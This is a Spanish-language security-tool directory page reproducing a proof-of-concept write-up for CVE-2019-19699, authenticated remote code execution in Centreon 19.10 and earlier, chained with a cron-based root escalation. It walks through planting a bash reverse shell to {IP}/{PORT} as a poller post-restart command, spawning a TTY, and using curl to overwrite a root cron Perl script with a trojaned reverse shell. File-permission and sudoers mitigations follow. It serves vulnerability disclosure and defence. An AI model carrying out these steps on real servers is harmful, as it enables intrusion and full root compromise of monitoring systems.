Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-19699 — Centreon =<19.10 RCE autenticado | Kitploit
Herramientas/GitHubGitHub/spengesec/cve-2019-19699
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubspengesec/cve-2019-19699

CVE-2019-19699

Centreon =<19.10 RCE autenticado

Ver Repositorio
31hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-19699

Centreon =< 19.10

Prueba de concepto

  1. Ejecución remota de código autenticada (CVE-2019-19699)
  2. Escalada de privilegios (Walkthrough y Mitigación)

Descubierto por:

SpengeSec (Guylian Dw)

TheCyberGeek (Matthew B)

Ejecución remota de código autenticada:

Comencemos iniciando sesión como usuario Admin en el panel web de Centreon.

Después de iniciar sesión, navegamos a Configuration > Commands > Miscellaneous

Procedemos haciendo clic en Add como se muestra en la imagen a continuación.

Ahora creamos una reverse shell en bash como nuestro comando Miscellaneous

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

Y hacemos clic en Save

Ahora navegamos a Configuration > Pollers y procedemos haciendo clic en nuestro poller Central actual

Esto nos da acceso al menú Modify a poller Configuration

Aquí podemos desplazarnos hacia abajo y establecer un Post-restart command

Procedemos seleccionando la reverse shell que creamos anteriormente y hacemos clic en el botón Save

Ahora podemos proceder iniciando el listener de Netcat en nuestra máquina local

Finalmente, hacemos clic en el botón Export configuration en el menú Configuration > Pollers

  1. Seleccionamos nuestro poller Central en el cuadro desplegable Pollers

  2. Desmarcamos las casillas Generate Configuration Files y Run monitoring engine debug (-v)

  3. Marcamos las casillas Restart Monitoring Engine y Post generation command

  4. Seleccionamos Restart en el cuadro desplegable Method

Al hacer clic en Export, el Poller se reiniciará y, por lo tanto, ejecutará el Post-Restart Command que configuramos previamente. Este es el momento en que nuestro listener de reverse shell recibirá una conexión.

¡La ejecución remota de código autenticada ha sido exitosa!

(Este fue el write-up de CVE-2019-19699)

A partir de aquí, nos movemos para obtener Root

Usaremos CVE-2019-16406 encontrado por TheCyberGeek para comprometer completamente el servidor Centreon =< 19.10

Comencemos generando una shell TTY en nuestro terminal actual de reverse shell

python -c 'import pty; pty.spawn("/bin/sh")'

Ahora echamos un vistazo a qué tareas cron existen haciendo un cat /etc/cron.d/*

Ahora vemos que centreon_autodisc.pl es una tarea Cron

(Fue cambiada de 30 22 * * * root a * * * * * root con fines de demostración)

Esto se ejecuta como Root, vamos a reemplazar el centreon_autodisco.pl con una reverse shell en Perl

La shell Perl que usaré se puede descargar aquí

Descarga la reverse shell y edita la dirección IP y el puerto a los tuyos, como se explica en la página web

Realiza un mv para renombrar el archivo perl-reverse-shell.pl a centreon_autodisco.pl localmente

Procedamos a iniciar un SimpleHTTPServer local en un puerto de tu elección

De esta manera, podemos hacer curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl para reemplazar el centreon_autodisco.pl existente con nuestra reverse shell Perl troyana

Ahora que el archivo ha sido reemplazado, solo queda iniciar un listener Netcat en el puerto que configuramos anteriormente, ¡y recibiremos una conexión de vuelta del servidor como usuario Root!

¡El acceso al sistema como Root ha sido exitoso!

Ahora pasamos a las notas sobre cómo creemos que la escalada de privilegios debería ser mitigada.

Configuración actual en 19.10:

root@kitploit:~
#####################################
# Centreon Auto Discovery
#

30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1

Permisos de archivo:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11  2017 /usr/lib/centreon/plugins/cwrapper_perl

Mitigación para /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

ls -la who

-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

Como puedes ver, ahora es propiedad de Root, el grupo apache solo puede leer y ejecutarlo, centreon solo puede ejecutarlo, por lo tanto, no afecta la funcionalidad.

Ejemplo:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permiso denegado Pero apache aún puede ejecutarlo.

Mitigación para /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

Como puedes ver, ahora es propiedad de Root, el grupo apache solo puede leer y ejecutarlo, centreon solo puede ejecutarlo, por lo tanto, no afecta la funcionalidad.

Ejemplo:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permiso denegado Pero apache aún puede ejecutarlo.

Mitigación para /usr/lib/centreon/plugins/cwrapper_perl

Usar comandos sudo definiendo scripts específicos que deben ser ejecutados por cada usuario.

Haciendo que root sea propietario de cada script perl para que los usuarios no puedan alterar ni reemplazar el script para escalada de privilegios.

chmod 755 /usr/lib/centreon/plugins/cwrapper_perl

ls -la /usr/lib/centreon/plugins/cwrapper_perl

-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl

¡Ahora los usuarios ya no pueden alterar ni reemplazar el script!

Ejemplo:

cat /etc/sudoers

...

## Permitir a root ejecutar cualquier comando en cualquier lugar

root ALL=(ALL) ALL

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl

...

---Fin de Sudoers---

ls -la example_script1.pl

-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl

ls -la examle_scripts1.pl

-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl

Los usuarios aún pueden ejecutar los scripts necesarios y los scripts no pueden ser modificados por apache o centreon, eliminando así por completo la amenaza de seguridad para la escalada de privilegios.

Si un atacante lograra ingresar a la máquina ahora, tomar el control completo de la máquina sería muy difícil o imposible a menos que se descubran más amenazas.

Para el usuario Centreon, la única escalada de privilegios que pudimos encontrar fue el cwrapper para perl, por lo que si el comando post-restart era ejecutado por el usuario centreon y un atacante obtenía una shell como usuario centreon, prácticamente no quedaría superficie de ataque adicional.

Gracias por leer

Descargar herramienta